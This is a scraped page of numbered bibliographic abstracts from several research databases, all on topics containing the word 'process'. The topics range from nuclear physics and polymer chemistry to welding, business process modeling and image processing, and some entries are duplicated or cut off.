Kálmán, Péter 2015-01-01 A new phenomenon, called cooperative internal conversion process, in which the coupling of bound-free electron and neutron transitions due to the dipole term of their Coulomb interaction permits cooperation of two nuclei leading to neutron exchange if it is allowed by energy conservation, is discussed theoretically. General expression of the cross section of the process is reported in one particle nuclear and spherical shell models as well in the case of free atoms (e.g. noble gases). A half-life characteristic of the process is also determined. The case of $Ne$ is investigated numerically. The process may have significance in fields of nuclear waste disposal and nuclear energy production. 15. Acoustic Signal Processing Science.gov (United States) Hartmann, William M.; Candy, James V. Signal processing refers to the acquisition, storage, display, and generation of signals - also to the extraction of information from signals and the re-encoding of information. As such, signal processing in some form is an essential element in the practice of all aspects of acoustics. Signal processing algorithms enable acousticians to separate signals from noise, to perform automatic speech recognition, or to compress information for more efficient storage or transmission. Signal processing concepts are the building blocks used to construct models of speech and hearing. Now, in the 21st century, all signal processing is effectively digital signal processing. Widespread access to high-speed processing, massive memory, and inexpensive software make signal processing procedures of enormous sophistication and power available to anyone who wants to use them. Because advanced signal processing is now accessible to everybody, there is a need for primers that introduce basic mathematical concepts that underlie the digital algorithms. The present handbook chapter is intended to serve such a purpose. 16. Gas purification process Energy Technology Data Exchange (ETDEWEB) Hoelter, H.; Gresch, H.; Igelbuescher, H.; Dewert, H. 1987-08-13 To avoid the problems of reheating in a wet process as well as the problems of higher gas supply in a dry process, the invention proposes to separate the raw gas in two component currents, one of which undergoes wet purification while the other is led through a dry purification process. The two component currents are mixed before entering the stack. The dry chemisorption masses added in substoichiometric doses are treated in a milk-of-lime processing stage, after which the reacted and non-reacted chemisorption masses are treated by wet purification and then by oxidation. 17. Living olefin polymerization processes Science.gov (United States) Schrock, Richard R.; Baumann, Robert 1999-01-01 Processes for the living polymerization of olefin monomers with terminal carbon-carbon double bonds are disclosed. The processes employ initiators that include a metal atom and a ligand having two group 15 atoms and a group 16 atom or three group 15 atoms. The ligand is bonded to the metal atom through two anionic or covalent bonds and a dative bond. The initiators are particularly stable under reaction conditions in the absence of olefin monomer. The processes provide polymers having low polydispersities, especially block copolymers having low polydispersities. It is an additional advantage of these processes that, during block copolymer synthesis, a relatively small amount of homopolymer is formed. 18. Process modeling style CERN Document Server Long, John 2014-01-01 Process Modeling Style focuses on other aspects of process modeling beyond notation that are very important to practitioners. Many people who model processes focus on the specific notation used to create their drawings. While that is important, there are many other aspects to modeling, such as naming, creating identifiers, descriptions, interfaces, patterns, and creating useful process documentation. Experience author John Long focuses on those non-notational aspects of modeling, which practitioners will find invaluable. Gives solid advice for creating roles, work produ 19. Chemical process hazards analysis Energy Technology Data Exchange (ETDEWEB) NONE 1996-02-01 The Office of Worker Health and Safety (EH-5) under the Assistant Secretary for the Environment, Safety and Health of the US Department (DOE) has published two handbooks for use by DOE contractors managing facilities and processes covered by the Occupational Safety and Health Administration (OSHA) Rule for Process Safety Management of Highly Hazardous Chemicals (29 CFR 1910.119), herein referred to as the PSM Rule. The PSM Rule contains an integrated set of chemical process safety management elements designed to prevent chemical releases that can lead to catastrophic fires, explosions, or toxic exposures. The purpose of the two handbooks, Process Safety Management for Highly Hazardous Chemicals and Chemical Process Hazards Analysis, is to facilitate implementation of the provisions of the PSM Rule within the DOE. The purpose of this handbook Chemical Process Hazards Analysis, is to facilitate, within the DOE, the performance of chemical process hazards analyses (PrHAs) as required under the PSM Rule. It provides basic information for the performance of PrHAs, and should not be considered a complete resource on PrHA methods. Likewise, to determine if a facility is covered by the PSM rule, the reader should refer to the handbook, Process Safety Management for Highly Hazardous Chemicals (DOE- HDBK-1101-96). Promulgation of the PSM Rule has heightened the awareness of chemical safety management issues within the DOE. This handbook is intended for use by DOE facilities and processes covered by the PSM rule to facilitate contractor implementation of the PrHA element of the PSM Rule. However, contractors whose facilities and processes not covered by the PSM Rule may also use this handbook as a basis for conducting process hazards analyses as part of their good management practices. This handbook explains the minimum requirements for PrHAs outlined in the PSM Rule. Nowhere have requirements been added beyond what is specifically required by the rule. 20. Characterization of oil shale, isolated kerogen, and post-pyrolysis residues using advanced 13 solid-state nuclear magnetic resonance spectroscopy Science.gov (United States) Cao, Xiaoyan; Birdwell, Justin E.; Chappell, Mark A.; Li, Yuan; Pignatello, Joseph J.; Mao, Jingdong 2013-01-01 Characterization of oil shale kerogen and organic residues remaining in postpyrolysis spent shale is critical to the understanding of the oil generation process and approaches to dealing with issues related to spent shale. The chemical structure of organic matter in raw oil shale and spent shale samples was examined in this study using advanced solid-state 13C nuclear magnetic resonance (NMR) spectroscopy. Oil shale was collected from Mahogany zone outcrops in the Piceance Basin. Five samples were analyzed: (1) raw oil shale, (2) isolated kerogen, (3) oil shale extracted with chloroform, (4) oil shale retorted in an open system at 500°C to mimic surface retorting, and (5) oil shale retorted in a closed system at 360°C to simulate in-situ retorting. The NMR methods applied included quantitative direct polarization with magic-angle spinning at 13 kHz, cross polarization with total sideband suppression, dipolar dephasing, CHn selection, 13C chemical shift anisotropy filtering, and 1H-13C long-range recoupled dipolar dephasing. The NMR results showed that, relative to the raw oil shale, (1) bitumen extraction and kerogen isolation by demineralization removed some oxygen-containing and alkyl moieties; (2) unpyrolyzed samples had low aromatic condensation; (3) oil shale pyrolysis removed aliphatic moieties, leaving behind residues enriched in aromatic carbon; and (4) oil shale retorted in an open system at 500°C contained larger aromatic clusters and more protonated aromatic moieties than oil shale retorted in a closed system at 360°C, which contained more total aromatic carbon with a wide range of cluster sizes. 1. Electron-attachment processes Science.gov (United States) Christophorou, L. G.; McCorkle, D. L.; Christodoulides, A. A. Topics covered include: modes of production of negative ions, techniques for the study of electron attachment processes, dissociative electron attachment to ground state molecules, dissociative electron attachment to hot molecules (effects of temperature on dissociative electron attachment), molecular parent negative ions, and negative ions formed by ion pair processes and by collisions of molecules with ground state and Rydberg atoms. 2. Of proteins and processing NARCIS (Netherlands) Salazar Villanea, Sergio 2017-01-01 Hydrothermal processing is a common practice during the manufacture of protein-rich feed ingredients, such as rapeseed meal (RSM), and feeds. This processing step can induce physical and chemical changes to the proteins, thereby reducing the digestibility and utilization of crude protein (CP) and 3. Uranium processing and properties CERN Document Server 2013-01-01 Covers a broad spectrum of topics and applications that deal with uranium processing and the properties of uranium Offers extensive coverage of both new and established practices for dealing with uranium supplies in nuclear engineering Promotes the documentation of the state-of-the-art processing techniques utilized for uranium and other specialty metals 4. WWTP Process Tank Modelling DEFF Research Database (Denmark) Laursen, Jesper hydrofoil shaped propellers. These two sub-processes deliver the main part of the supplied energy to the activated sludge tank, and for this reason they are important for the mixing conditions in the tank. For other important processes occurring in the activated sludge tank, existing models and measurements... 5. The Analytical Hierarchy Process DEFF Research Database (Denmark) Barfod, Michael Bruhn 2007-01-01 The technical note gathers the theory behind the Analytical Hierarchy Process (AHP) and present its advantages and disadvantages in practical use.......The technical note gathers the theory behind the Analytical Hierarchy Process (AHP) and present its advantages and disadvantages in practical use.... 6. Continuous affine processes DEFF Research Database (Denmark) Buchardt, Kristian 2016-01-01 Affine processes possess the property that expectations of exponential affine transformations are given by a set of Riccati differential equations, which is the main feature of this popular class of processes. In this paper we generalise these results for expectations of more general transformati... 7. Relational Processing Following Stroke Science.gov (United States) Andrews, Glenda; Halford, Graeme S.; Shum, David; Maujean, Annick; Chappell, Mark; Birney, Damian 2013-01-01 The research examined relational processing following stroke. Stroke patients (14 with frontal, 30 with non-frontal lesions) and 41 matched controls completed four relational processing tasks: sentence comprehension, Latin square matrix completion, modified Dimensional Change Card Sorting, and n-back. Each task included items at two or three… 8. Flow generating processes NARCIS (Netherlands) Lanen, van H.A.J.; Fendeková, M.; Kupczyk, E.; Kasprzyk, A.; Pokojski, W. 2004-01-01 This chapter starts with an overview of how climatic water deficits affect hydrological processes in different type of catchments. It then continues with a more comprehensive description of drought relevant processes. Two catchments in climatologically contrasting regions are used for illustrative p 9. The Analytical Hierarchy Process DEFF Research Database (Denmark) Barfod, Michael Bruhn 2007-01-01 The technical note gathers the theory behind the Analytical Hierarchy Process (AHP) and present its advantages and disadvantages in practical use.......The technical note gathers the theory behind the Analytical Hierarchy Process (AHP) and present its advantages and disadvantages in practical use.... 10. Basic Data Processing. Science.gov (United States) Scalice, John J. This study guide in data processing is designed to make the subject accessible to the secondary student. It contains the following units: Historical Developments, Understanding the Computer, Careers in Data Processing, The Tabulating Card, Keypunching, Interpreting, Sorting, The 514 Reproducer, The 85 Collator, and The 402 Accounting Machine. The… 11. Food processing and allergenicity. Science.gov (United States) Verhoeckx, Kitty C M; Vissers, Yvonne M; Baumert, Joseph L; Faludi, Roland; Feys, Marcel; Flanagan, Simon; Herouet-Guicheney, Corinne; Holzhauser, Thomas; Shimojo, Ryo; van der Bolt, Nieke; Wichers, Harry; Kimber, Ian 2015-06-01 Food processing can have many beneficial effects. However, processing may also alter the allergenic properties of food proteins. A wide variety of processing methods is available and their use depends largely on the food to be processed. In this review the impact of processing (heat and non-heat treatment) on the allergenic potential of proteins, and on the antigenic (IgG-binding) and allergenic (IgE-binding) properties of proteins has been considered. A variety of allergenic foods (peanuts, tree nuts, cows' milk, hens' eggs, soy, wheat and mustard) have been reviewed. The overall conclusion drawn is that processing does not completely abolish the allergenic potential of allergens. Currently, only fermentation and hydrolysis may have potential to reduce allergenicity to such an extent that symptoms will not be elicited, while other methods might be promising but need more data. Literature on the effect of processing on allergenic potential and the ability to induce sensitisation is scarce. This is an important issue since processing may impact on the ability of proteins to cause the acquisition of allergic sensitisation, and the subject should be a focus of future research. Also, there remains a need to develop robust and integrated methods for the risk assessment of food allergenicity. 12. Hyperspectral image processing methods Science.gov (United States) Hyperspectral image processing refers to the use of computer algorithms to extract, store and manipulate both spatial and spectral information contained in hyperspectral images across the visible and near-infrared portion of the electromagnetic spectrum. A typical hyperspectral image processing work... 13. Kuhlthau's Information Search Process. Science.gov (United States) Shannon, Donna 2002-01-01 Explains Kuhlthau's Information Search Process (ISP) model which is based on a constructivist view of learning and provides a framework for school library media specialists for the design of information services and instruction. Highlights include a shift from library skills to information skills; attitudes; process approach; and an interview with… 14. Cognitive Processes and Achievement. Science.gov (United States) Hunt, Dennis; Randhawa, Bikkar S. For a group of 165 fourth- and fifth-grade students, four achievement test scores were correlated with success on nine tests designed to measure three cognitive functions: sustained attention, successive processing, and simultaneous processing. This experiment was designed in accordance with Luria's model of the three functional units of the… Energy Technology Data Exchange (ETDEWEB) none, 2000-09-01 This document represents the roadmap for Processing Technology Research in the US Mining Industry. It was developed based on the results of a Processing Technology Roadmap Workshop sponsored by the National Mining Association in conjunction with the US Department of Energy, Office of Energy Efficiency and Renewable Energy, Office of Industrial Technologies. The Workshop was held January 24 - 25, 2000. 16. Process Writing Checklist. Science.gov (United States) Jenks, Christopher J. This checklist is designed to help develop writing strategies for English language learners (ELLs), focusing on a variety of linguistic strategies inherent in the writing process. It provides them with a graphical representation of the cognitive process involved in complex writing, promoting self-assessment strategies and integrating oral… 17. Technologies for Optical Processing DEFF Research Database (Denmark) Stubkjær, Kristian 2008-01-01 The article consists of a Powerpoint presentation on technologies for optical processing. The paper concludes that the nonlinear elements based on SOA, fibers and waveguide structures have capabilities of simple processing at data rates of 100-600 Gb/s. Switching powers comparable to electronics... 18. Cognitive Processes and Achievement. Science.gov (United States) Hunt, Dennis; Randhawa, Bikkar S. For a group of 165 fourth- and fifth-grade students, four achievement test scores were correlated with success on nine tests designed to measure three cognitive functions: sustained attention, successive processing, and simultaneous processing. This experiment was designed in accordance with Luria's model of the three functional units of the… 19. Process Writing with Hawthorne. Science.gov (United States) Edwards, Lita R. Teachers can use the process writing format for many assignments to teach and refine more skills than are often incorporated in older methods, and this is exemplified by a teaching unit comparing two short stories by Nathaniel Hawthorne. Peer conferences and peer editing in the revision stages, which are features of the process model, can lead to… Science.gov (United States) Bellandi, Valerio; Ceravolo, Paolo; Damiani, Ernesto; Frati, Fulvio In this chapter, we introduce the TEKNE Metrics Framework that performs services to monitor business processes. This framework was designed to support the prescription and explanation of these processes. TEKNE's most innovative contribution is managing data expressed in declarative form. To face this challenge, the TEKNE project implemented an infrastructure that relies on declarative Semantic Web technologies designed to be used in distributed systems. 1. Image processing mini manual Science.gov (United States) Matthews, Christine G.; Posenau, Mary-Anne; Leonard, Desiree M.; Avis, Elizabeth L.; Debure, Kelly R.; Stacy, Kathryn; Vonofenheim, Bill 1992-01-01 The intent is to provide an introduction to the image processing capabilities available at the Langley Research Center (LaRC) Central Scientific Computing Complex (CSCC). Various image processing software components are described. Information is given concerning the use of these components in the Data Visualization and Animation Laboratory at LaRC. 2. Hybrid quantum information processing Energy Technology Data Exchange (ETDEWEB) Furusawa, Akira [Department of Applied Physics, School of Engineering, The University of Tokyo (Japan) 2014-12-04 I will briefly explain the definition and advantage of hybrid quantum information processing, which is hybridization of qubit and continuous-variable technologies. The final goal would be realization of universal gate sets both for qubit and continuous-variable quantum information processing with the hybrid technologies. For that purpose, qubit teleportation with a continuousvariable teleporter is one of the most important ingredients. 3. Heavy oils processing materials requirements crude processing Energy Technology Data Exchange (ETDEWEB) Sloley, Andrew W. [CH2M Hill, Englewood, CO (United States) 2012-07-01 Over time, recommended best practices for crude unit materials selection have evolved to accommodate new operating requirements, feed qualities, and product qualities. The shift to heavier oil processing is one of the major changes in crude feed quality occurring over the last 20 years. The three major types of crude unit corrosion include sulfidation attack, naphthenic acid attack, and corrosion resulting from hydrolyzable chlorides. Heavy oils processing makes all three areas worse. Heavy oils have higher sulfur content; higher naphthenic acid content; and are more difficult to desalt, leading to higher chloride corrosion rates. Materials selection involves two major criteria, meeting required safety standards, and optimizing economics of the overall plant. Proper materials selection is only one component of a plant integrity approach. Materials selection cannot eliminate all corrosion. Proper materials selection requires appropriate support from other elements of an integrity protection program. The elements of integrity preservation include: materials selection (type and corrosion allowance); management limits on operating conditions allowed; feed quality control; chemical additives for corrosion reduction; and preventive maintenance and inspection (PMI). The following discussion must be taken in the context of the application of required supporting work in all the other areas. Within that context, specific materials recommendations are made to minimize corrosion due to the most common causes in the crude unit. (author) 4. Heavy oils processing materials requirements crude processing Energy Technology Data Exchange (ETDEWEB) Sloley, Andrew W. [CH2M Hill, Englewood, CO (United States) 2012-07-01 Over time, recommended best practices for crude unit materials selection have evolved to accommodate new operating requirements, feed qualities, and product qualities. The shift to heavier oil processing is one of the major changes in crude feed quality occurring over the last 20 years. The three major types of crude unit corrosion include sulfidation attack, naphthenic acid attack, and corrosion resulting from hydrolyzable chlorides. Heavy oils processing makes all three areas worse. Heavy oils have higher sulfur content; higher naphthenic acid content; and are more difficult to desalt, leading to higher chloride corrosion rates. Materials selection involves two major criteria, meeting required safety standards, and optimizing economics of the overall plant. Proper materials selection is only one component of a plant integrity approach. Materials selection cannot eliminate all corrosion. Proper materials selection requires appropriate support from other elements of an integrity protection program. The elements of integrity preservation include: materials selection (type and corrosion allowance); management limits on operating conditions allowed; feed quality control; chemical additives for corrosion reduction; and preventive maintenance and inspection (PMI). The following discussion must be taken in the context of the application of required supporting work in all the other areas. Within that context, specific materials recommendations are made to minimize corrosion due to the most common causes in the crude unit. (author) 5. Formed HIP Can Processing Energy Technology Data Exchange (ETDEWEB) Clarke, Kester Diederik [Los Alamos National Lab. (LANL), Los Alamos, NM (United States) 2015-07-27 The intent of this report is to document a procedure used at LANL for HIP bonding aluminum cladding to U-10Mo fuel foils using a formed HIP can for the Domestic Reactor Conversion program in the NNSA Office of Material, Management and Minimization, and provide some details that may not have been published elsewhere. The HIP process is based on the procedures that have been used to develop the formed HIP can process, including the baseline process developed at Idaho National Laboratory (INL). The HIP bonding cladding process development is summarized in the listed references. Further iterations with Babcock & Wilcox (B&W) to refine the process to meet production and facility requirements is expected. 6. Logistics Innovation Process Revisited DEFF Research Database (Denmark) Gammelgaard, Britta; Su, Shong-Iee Ivan; Yang, Su-Lan 2011-01-01 innovation process model may include not just customers but also suppliers; logistics innovation in buyer-supplier relations may serve as an alternative to outsourcing; logistics innovation processes are dynamic and may improve supplier partnerships; logistics innovations in the supply chain are as dependent...... into the process of a logistics innovation in an oriental healthcare supply chain context. The study is, however, still limited in disclosing end-to-end supply chain benefits including concrete performance improvements at the suppliers. Examining logistics innovation processes should result not only......Purpose – The purpose of this paper is to learn more about logistics innovation processes and their implications for the focal organization as well as the supply chain, especially suppliers. Design/methodology/approach – The empirical basis of the study is a longitudinal action research project... 7. Posttranslational processing of progastrin DEFF Research Database (Denmark) Bundgaard, Jens René; Rehfeld, Jens F. 2010-01-01 Gastrin and cholecystokinin (CCK) are homologous hormones with important functions in the brain and the gut. Gastrin is the main regulator of gastric acid secretion and gastric mucosal growth, whereas cholecystokinin regulates gall bladder emptying, pancreatic enzyme secretion and besides acts...... processing progastrin is often greatly disturbed in neoplastic cells.The posttranslational phase of the biogenesis of gastrin and the various progastrin products in gastrin gene-expressing tissues is now reviewed here. In addition, the individual contributions of the processing enzymes are discussed......, as are structural features of progastrin that are involved in the precursor activation process. Thus, the review describes how the processing depends on the cell-specific expression of the processing enzymes and kinetics in the secretory pathway.... 8. New Processes for Annulation Institute of Scientific and Technical Information of China (English) Liu Hsing-Jang 2004-01-01 Making use of the high propensity of 2-cyano-2-cycloalkenones to undergo conjugate addition with various carbanions and the high reactivity of the ensuing α -cyano ketone system, a number of new annulation processes have been developed recently in our laboratories. As shown in Eq. 1 (n=1) with a specific example, one such process involves the addition of 3-butenylmagnesium bromide, followed by a palladium (Ⅱ) acetate mediated oxidative cyclization, to facilitate methylenecyclopentane ring formation. This annulation process could be readily extended to effect methylenecyclohexane ring formation (Eq. 1, n=2), using 4-pentenylmagnesinm bromide as the initial reagent, and to install the carbomethoxy-substituted methylenecyclopentane and methylenecyclohexane rings, using the carbanions derived from methyl 4-pentenoate and methyl 5-hexenoate, respectively (Eq. 2). In another annulation process, the addition of the enolate of methyl 5-chloropentanoate is involved initially, and the ring formation is readily effected by an intramolecular alkylation process. A specific example is given in Eq. 3. Energy Technology Data Exchange (ETDEWEB) Carle, Adriana; Fiducia, Daniel [Transportadora de Gas del Sur S.A. (TGS), Buenos Aires (Argentina) 2005-07-01 This paper is about the own development of business support software. The developed applications are used to support two business processes: one of them is the process of gas transportation and the other is the natural gas processing. This software has interphases with the ERP SAP, software SCADA and on line gas transportation simulation software. The main functionalities of the applications are: entrance on line real time of clients transport nominations, transport programming, allocation of the clients transport nominations, transport control, measurements, balanced pipeline, allocation of gas volume to the gas processing plants, calculate of product tons processed in each plant and tons of product distributed to clients. All the developed software generates information to the internal staff, regulatory authorities and clients. (author) 10. Beryllium chemistry and processing CERN Document Server Walsh, Kenneth A 2009-01-01 This book introduces beryllium; its history, its chemical, mechanical, and physical properties including nuclear properties. The 29 chapters include the mineralogy of beryllium and the preferred global sources of ore bodies. The identification and specifics of the industrial metallurgical processes used to form oxide from the ore and then metal from the oxide are thoroughly described. The special features of beryllium chemistry are introduced, including analytical chemical practices. Beryllium compounds of industrial interest are identified and discussed. Alloying, casting, powder processing, forming, metal removal, joining and other manufacturing processes are covered. The effect of composition and process on the mechanical and physical properties of beryllium alloys assists the reader in material selection. The physical metallurgy chapter brings conformity between chemical and physical metallurgical processing of beryllium, metal, alloys, and compounds. The environmental degradation of beryllium and its all... 11. Manufacturing processes 4 forming CERN Document Server Klocke, Fritz 2013-01-01 This book provides essential information on metal forming, utilizing a practical distinction between bulk and sheet metal forming. In the field of bulk forming, it examines processes of cold, warm and hot bulk forming, as well as rolling and a new addition, the process of thixoforming. As for the field of sheet metal working, on the one hand it deals with sheet metal forming processes (deep drawing, flange forming, stretch drawing, metal spinning and bending). In terms of special processes, the chapters on internal high-pressure forming and high rate forming have been revised and refined. On the other, the book elucidates and presents the state of the art in sheet metal separation processes (shearing and fineblanking). Furthermore, joining by forming has been added to the new edition as a new chapter describing mechanical methods for joining sheet metals. The new chapter “Basic Principles” addresses both sheet metal and bulk forming, in addition to metal physics, plastomechanics and computational basics; ... 12. Branching processes in biology CERN Document Server Kimmel, Marek 2015-01-01 This book provides a theoretical background of branching processes and discusses their biological applications. Branching processes are a well-developed and powerful set of tools in the field of applied probability. The range of applications considered includes molecular biology, cellular biology, human evolution and medicine. The branching processes discussed include Galton-Watson, Markov, Bellman-Harris, Multitype, and General Processes. As an aid to understanding specific examples, two introductory chapters, and two glossaries are included that provide background material in mathematics and in biology. The book will be of interest to scientists who work in quantitative modeling of biological systems, particularly probabilists, mathematical biologists, biostatisticians, cell biologists, molecular biologists, and bioinformaticians. The authors are a mathematician and cell biologist who have collaborated for more than a decade in the field of branching processes in biology for this new edition. This second ex... 13. Nonhomogeneous fractional Poisson processes Energy Technology Data Exchange (ETDEWEB) Wang Xiaotian [School of Management, Tianjin University, Tianjin 300072 (China)]. E-mail: swa001@126.com; Zhang Shiying [School of Management, Tianjin University, Tianjin 300072 (China); Fan Shen [Computer and Information School, Zhejiang Wanli University, Ningbo 315100 (China) 2007-01-15 In this paper, we propose a class of non-Gaussian stationary increment processes, named nonhomogeneous fractional Poisson processes W{sub H}{sup (j)}(t), which permit the study of the effects of long-range dependance in a large number of fields including quantum physics and finance. The processes W{sub H}{sup (j)}(t) are self-similar in a wide sense, exhibit more fatter tail than Gaussian processes, and converge to the Gaussian processes in distribution in some cases. In addition, we also show that the intensity function {lambda}(t) strongly influences the existence of the highest finite moment of W{sub H}{sup (j)}(t) and the behaviour of the tail probability of W{sub H}{sup (j)}(t) 14. Conceptualizing operations strategy processes DEFF Research Database (Denmark) Rytter, Niels Gorm; Boer, Harry; Koch, Christian 2007-01-01 Purpose - The purpose of this paper is to present insights into operations strategy (OS) in practice. It outlines a conceptualization and model of OS processes and, based on findings from an in-depth and longitudinal case study, contributes to further development of extant OS models and methods...... which presently mainly focus on OS content, as distinct from process issues. DesignImethodology/approach - The methodology combines action research and a longitudinal single site case study of OS processes in practice. Findings - The paper conceptualises an OS process as: events of dialogue and action...... provides a useful tool for describing and analyzing real-time OS processes unfolding in practice. Research limitations/implications - The research is based on a single case, which limits the generalizability of the findings. Practical implications - The findings suggest that, in order to obtain successful... Science.gov (United States) Mendling, Jan The recent progress of Business Process Management (BPM) is reflected by the figures of the related industry. Wintergreen Research estimates that the international market for BPM-related software and services accounted for more than USD 1 billion in 2005 with a tendency towards rapid growth in the subsequent couple of years [457]. The relevance of business process modeling to general management initiatives has been previously studied in the 1990s [28]. Today, Gartner finds that organizations that had the best results in implementing business process management spent more than 40 percent of the total project time on discovery and construction of their initial process model [265]. As a consequence, Gartner considers Business Process Modeling to be among the Top 10 Strategic Technologies for 2008. DEFF Research Database (Denmark) Lindgren, Peter; Jørgensen, Jacob Høj; Goduscheit, René Chester 2007-01-01 Innovation leadership has traditionally been focused on leading the companies' product development fast, cost effectively and with an optimal performance driven by technological inventions or by customers´ needs. To improve the efficiency of the product development process focus has been...... on different types of organisational setup to the product development model and process. The globalization and enhanced competitive markets are however changing the innovation game and the challenge to innovation leadership Excellent product development innovation and leadership seems not any longer to enough...... another outlook to future innovation leadership - Customer Innovation Process Leadership - CIP-leadership. CIP-leadership moves the company's innovation process closer to the customer innovation process and discusses how companies can be involved and innovate in customers' future needs and lead... 17. States in Process Calculi Directory of Open Access Journals (Sweden) Christoph Wagner 2014-08-01 Full Text Available Formal reasoning about distributed algorithms (like Consensus typically requires to analyze global states in a traditional state-based style. This is in contrast to the traditional action-based reasoning of process calculi. Nevertheless, we use domain-specific variants of the latter, as they are convenient modeling languages in which the local code of processes can be programmed explicitly, with the local state information usually managed via parameter lists of process constants. However, domain-specific process calculi are often equipped with (unlabeled reduction semantics, building upon a rich and convenient notion of structural congruence. Unfortunately, the price for this convenience is that the analysis is cumbersome: the set of reachable states is modulo structural congruence, and the processes' state information is very hard to identify. We extract from congruence classes of reachable states individual state-informative representatives that we supply with a proper formal semantics. As a result, we can now freely switch between the process calculus terms and their representatives, and we can use the stateful representatives to perform assertional reasoning on process calculus models. 18. The Isasmelt process Energy Technology Data Exchange (ETDEWEB) Barrett, K.R. (MIM Technology Marketing Ltd., Northfleet (United Kingdom)) 1993-01-01 The Isasmelt process was developed at Mt Isa Mines Ltd. in Queensland. The process was initially developed for the treatment of lead concentrate. After successful application of the process to lead production a pilot plant was built for the treatment of copper concentrate to produce copper matte. This was successful and as a result Mt Isa Mines decided to build a new copper smelter with a capacity of 180,000 t copper/ a in copper matte. Further commercialisation of the process has resulted in the construction of further plants for lead, nickel and copper production. Mt Isa Mines Ltd. has been associated with CSIRO (Commonwealth Scientific Industrial Research Organisation) in the development of the Isasmelt process since 1977, when a Sirosmelt lance was tested for reducing copper converter slags. Thermodynamic modelling and cruicible scale investigations on a lead smelting process were initiated in 1978. After further work on a 120 kg/h pilot plant the Isasmelt process for lead concentrate smelting was patented jointly by Mt Isa Mines and CSIRO. Since then a 5 t/h demonstration plant was commissioned 1983/85 for smelting and reduction. Finally in 1991 a commercial scale plant with a capacity of 60,000 t/a was commissioned. (orig.). 19. Revealing the programming process DEFF Research Database (Denmark) Bennedsen, Jens; Caspersen, Michael Edelgaard 2005-01-01 One of the most important goals of an introductory programming course is that the students learn a systematic approach to the development of computer programs. Revealing the programming process is an important part of this; however, textbooks do not address the issue -- probably because the textb......One of the most important goals of an introductory programming course is that the students learn a systematic approach to the development of computer programs. Revealing the programming process is an important part of this; however, textbooks do not address the issue -- probably because...... the textbook medium is static and therefore ill-suited to expose the process of programming. We have found that process recordings in the form of captured narrated programming sessions are a simple, cheap, and efficient way of providing the revelation.We identify seven different elements of the programming...... process for which process recordings are a valuable communication media in order to enhance the learning process. Student feedback indicates both high learning outcome and superior learning potential compared to traditional classroom teaching.... 20. Welding processes handbook CERN Document Server Weman, Klas 2003-01-01 Deals with the main commercially significant and commonly used welding processes. This title takes the student or novice welder through the individual steps involved in each process in an easily understood way. It covers many of the requirements referred to in European Standards including EN719, EN 729, EN 729 and EN 287.bWelding processes handbook is a concise, explanatory guide to the main commercially significant and commonly-used welding processes. It takes the novice welder or student through the individual steps involved in each process in a clear and easily understood way. It is intended to provide an up-to-date reference to the major applications of welding as they are used in industry. The contents have been arranged so that it can be used as a textbook for European welding courses in accordance with guidelines from the European Welding Federation. Welding processes and equipment necessary for each process are described so that they can be applied to all instruction levels required by the EWF and th... 1. Semi-Markov processes CERN Document Server Grabski 2014-01-01 Semi-Markov Processes: Applications in System Reliability and Maintenance is a modern view of discrete state space and continuous time semi-Markov processes and their applications in reliability and maintenance. The book explains how to construct semi-Markov models and discusses the different reliability parameters and characteristics that can be obtained from those models. The book is a useful resource for mathematicians, engineering practitioners, and PhD and MSc students who want to understand the basic concepts and results of semi-Markov process theory. Clearly defines the properties and 2. Digital Differential Geometry Processing Institute of Scientific and Technical Information of China (English) Xin-Guo Liu; Hu-Jun Bao; Qun-Sheng Peng 2006-01-01 The theory and methods of digital geometry processing has been a hot research area in computer graphics, as geometric models serves as the core data for 3D graphics applications. The purpose of this paper is to introduce some recent advances in digital geometry processing, particularly mesh fairing, surface parameterization and mesh editing, that heavily use differential geometry quantities. Some related concepts from differential geometry, such as normal, curvature, gradient,Laplacian and their counterparts on digital geometry are also reviewed for understanding the strength and weakness of various digital geometry processing methods. 3. Irreversible processes kinetic theory CERN Document Server Brush, Stephen G 2013-01-01 Kinetic Theory, Volume 2: Irreversible Processes deals with the kinetic theory of gases and the irreversible processes they undergo. It includes the two papers by James Clerk Maxwell and Ludwig Boltzmann in which the basic equations for transport processes in gases are formulated, together with the first derivation of Boltzmann's ""H-theorem"" and a discussion of this theorem, along with the problem of irreversibility.Comprised of 10 chapters, this volume begins with an introduction to the fundamental nature of heat and of gases, along with Boltzmann's work on the kinetic theory of gases and s 4. Managing Software Process Evolution DEFF Research Database (Denmark) This book focuses on the design, development, management, governance and application of evolving software processes that are aligned with changing business objectives, such as expansion to new domains or shifting to global production. In the context of an evolving business world, it examines...... essential insights and tips to help readers manage process evolutions. And last but not least, it provides a wealth of examples and cases on how to deal with software evolution in practice. Reflecting these topics, the book is divided into three parts. Part 1 focuses on software business transformation...... the organization and management of (software development) projects and process improvements projects.... 5. Plasma processing for VLSI CERN Document Server Einspruch, Norman G 1984-01-01 VLSI Electronics: Microstructure Science, Volume 8: Plasma Processing for VLSI (Very Large Scale Integration) discusses the utilization of plasmas for general semiconductor processing. It also includes expositions on advanced deposition of materials for metallization, lithographic methods that use plasmas as exposure sources and for multiple resist patterning, and device structures made possible by anisotropic etching.This volume is divided into four sections. It begins with the history of plasma processing, a discussion of some of the early developments and trends for VLSI. The second section 6. Chemical Processing Manual Science.gov (United States) Beyerle, F. J. 1972-01-01 Chemical processes presented in this document include cleaning, pickling, surface finishes, chemical milling, plating, dry film lubricants, and polishing. All types of chemical processes applicable to aluminum, for example, are to be found in the aluminum alloy section. There is a separate section for each category of metallic alloy plus a section for non-metals, such as plastics. The refractories, super-alloys and titanium, are prime candidates for the space shuttle, therefore, the chemical processes applicable to these alloys are contained in individual sections of this manual. 7. Nano integrated circuit process Energy Technology Data Exchange (ETDEWEB) Yoon, Yung Sup 2004-02-15 This book contains nine chapters, which are introduction of manufacture of semiconductor chip, oxidation such as Dry-oxidation, wet oxidation, oxidation model and oxide film, diffusion like diffusion process, diffusion equation, diffusion coefficient and diffusion system, ion implantation, including ion distribution, channeling, multiimplantation and masking and its system, sputtering such as CVD and PVD, lithography, wet etch and dry etch, interconnection and flattening like metal-silicon connection, silicide, multiple layer metal process and flattening, an integrated circuit process, including MOSFET and CMOS. 8. Staging Collaborative Innovation Processes DEFF Research Database (Denmark) Pedersen, Signe; Clausen, Christian Organisations are currently challenged by demands for increased collaborative innovation internally as well as with external and new entities - e.g. across the value chain. The authors seek to develop new approaches to managing collaborative innovative processes in the context of open innovation...... and public private innovation partnerships. Based on a case study of a collaborative design process in a large electronics company the paper points to the key importance of staging and navigation of collaborative innovation process. Staging and navigation is presented as a combined activity: 1) to translate... 9. The image processing handbook CERN Document Server Russ, John C 